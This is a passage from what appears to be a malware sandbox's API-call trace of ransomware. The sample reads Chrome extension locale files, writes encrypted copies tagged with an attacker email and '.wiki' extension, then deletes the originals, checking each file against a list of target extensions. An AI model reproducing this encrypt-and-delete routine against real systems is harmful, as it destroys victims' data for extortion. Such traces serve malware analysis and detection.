lpOverlapped=0x0) returned 1 [0172.843] SetEndOfFile (hFile=0x19c) returned 1 [0172.843] CloseHandle (hObject=0x19c) returned 1 [0172.843] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.843] SetEndOfFile (hFile=0x320) returned 1 [0172.844] CloseHandle (hObject=0x320) returned 1 [0172.844] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.844] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json")) returned 1 [0172.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.844] lstrlenW (lpString=".doc") returned 4 [0172.844] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.844] lstrlenW (lpString=".docx") returned 5 [0172.844] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.844] lstrlenW (lpString=".pdf") returned 4 [0172.844] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.844] lstrlenW (lpString=".xls") returned 4 [0172.844] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.844] lstrlenW (lpString=".xlsx") returned 5 [0172.844] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.845] lstrlenW (lpString=".ppt") returned 4 [0172.845] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.845] lstrlenW (lpString=".zip") returned 4 [0172.845] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.845] lstrlenW (lpString=".rar") returned 4 [0172.845] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.845] lstrlenW (lpString=".bz2") returned 4 [0172.845] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.845] lstrlenW (lpString=".7z") returned 3 [0172.845] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.845] lstrlenW (lpString=".dbf") returned 4 [0172.845] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.845] lstrlenW (lpString=".1cd") returned 4 [0172.845] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.845] lstrlenW (lpString=".jpg") returned 4 [0172.845] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.845] lstrlenW (lpString=".doc") returned 4 [0172.845] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.845] lstrlenW (lpString=".docx") returned 5 [0172.845] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.845] lstrlenW (lpString=".pdf") returned 4 [0172.845] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.845] lstrlenW (lpString=".xls") returned 4 [0172.845] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.845] lstrlenW (lpString=".xlsx") returned 5 [0172.846] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.846] lstrlenW (lpString=".ppt") returned 4 [0172.846] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.846] lstrlenW (lpString=".zip") returned 4 [0172.846] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.846] lstrlenW (lpString=".rar") returned 4 [0172.846] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.846] lstrlenW (lpString=".bz2") returned 4 [0172.846] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.846] lstrlenW (lpString=".7z") returned 3 [0172.846] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.846] lstrlenW (lpString=".dbf") returned 4 [0172.846] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.846] lstrlenW (lpString=".1cd") returned 4 [0172.846] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.846] lstrlenW (lpString=".jpg") returned 4 [0172.846] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.846] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.846] lstrlenW (lpString="messages.json") returned 13 [0172.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.847] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=208) returned 1 [0172.847] CloseHandle (hObject=0x320) returned 1 [0172.847] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json")) returned 0x2020 [0172.847] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.847] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.847] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.854] GetLastError () returned 0x0 [0172.854] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd0, lpOverlapped=0x0) returned 1 [0172.856] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.857] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.857] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.857] SetEndOfFile (hFile=0x19c) returned 1 [0172.977] CloseHandle (hObject=0x19c) returned 1 [0172.977] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.977] SetEndOfFile (hFile=0x320) returned 1 [0172.978] CloseHandle (hObject=0x320) returned 1 [0172.978] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.978] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json")) returned 1 [0173.124] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.124] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.124] lstrlenW (lpString=".doc") returned 4 [0173.124] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.124] lstrlenW (lpString=".docx") returned 5 [0173.124] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.124] lstrlenW (lpString=".pdf") returned 4 [0173.124] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.124] lstrlenW (lpString=".xls") returned 4 [0173.124] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.124] lstrlenW (lpString=".xlsx") returned 5 [0173.124] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.124] lstrlenW (lpString=".ppt") returned 4 [0173.124] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.124] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.124] lstrlenW (lpString=".zip") returned 4 [0173.124] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.125] lstrlenW (lpString=".rar") returned 4 [0173.125] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.125] lstrlenW (lpString=".bz2") returned 4 [0173.125] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.125] lstrlenW (lpString=".7z") returned 3 [0173.125] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.125] lstrlenW (lpString=".dbf") returned 4 [0173.125] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.125] lstrlenW (lpString=".1cd") returned 4 [0173.125] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.125] lstrlenW (lpString=".jpg") returned 4 [0173.125] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.125] lstrlenW (lpString=".doc") returned 4 [0173.125] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.125] lstrlenW (lpString=".docx") returned 5 [0173.125] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.125] lstrlenW (lpString=".pdf") returned 4 [0173.125] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.125] lstrlenW (lpString=".xls") returned 4 [0173.125] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.125] lstrlenW (lpString=".xlsx") returned 5 [0173.125] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.126] lstrlenW (lpString=".ppt") returned 4 [0173.126] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.126] lstrlenW (lpString=".zip") returned 4 [0173.126] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.126] lstrlenW (lpString=".rar") returned 4 [0173.126] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.126] lstrlenW (lpString=".bz2") returned 4 [0173.126] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.126] lstrlenW (lpString=".7z") returned 3 [0173.126] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.126] lstrlenW (lpString=".dbf") returned 4 [0173.126] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.126] lstrlenW (lpString=".1cd") returned 4 [0173.126] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0173.126] lstrlenW (lpString=".jpg") returned 4 [0173.126] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.126] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.126] lstrlenW (lpString="messages.json") returned 13 [0173.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.127] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=216) returned 1 [0173.127] CloseHandle (hObject=0x1b4) returned 1 [0173.127] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json")) returned 0x2020 [0173.127] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.127] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.127] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.127] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.127] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.128] GetLastError () returned 0x0 [0173.128] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd8, lpOverlapped=0x0) returned 1 [0173.194] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.195] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.195] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.195] SetEndOfFile (hFile=0x198) returned 1 [0173.195] CloseHandle (hObject=0x198) returned 1 [0173.196] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.196] SetEndOfFile (hFile=0x1b4) returned 1 [0173.196] CloseHandle (hObject=0x1b4) returned 1 [0173.196] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.196] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json")) returned 1 [0173.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.197] lstrlenW (lpString=".doc") returned 4 [0173.197] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.197] lstrlenW (lpString=".docx") returned 5 [0173.197] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.197] lstrlenW (lpString=".pdf") returned 4 [0173.197] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.197] lstrlenW (lpString=".xls") returned 4 [0173.197] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.197] lstrlenW (lpString=".xlsx") returned 5 [0173.197] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.197] lstrlenW (lpString=".ppt") returned 4 [0173.197] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.197] lstrlenW (lpString=".zip") returned 4 [0173.197] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.197] lstrlenW (lpString=".rar") returned 4 [0173.197] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.197] lstrlenW (lpString=".bz2") returned 4 [0173.197] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.197] lstrlenW (lpString=".7z") returned 3 [0173.197] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.197] lstrlenW (lpString=".dbf") returned 4 [0173.197] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.198] lstrlenW (lpString=".1cd") returned 4 [0173.198] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.198] lstrlenW (lpString=".jpg") returned 4 [0173.198] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 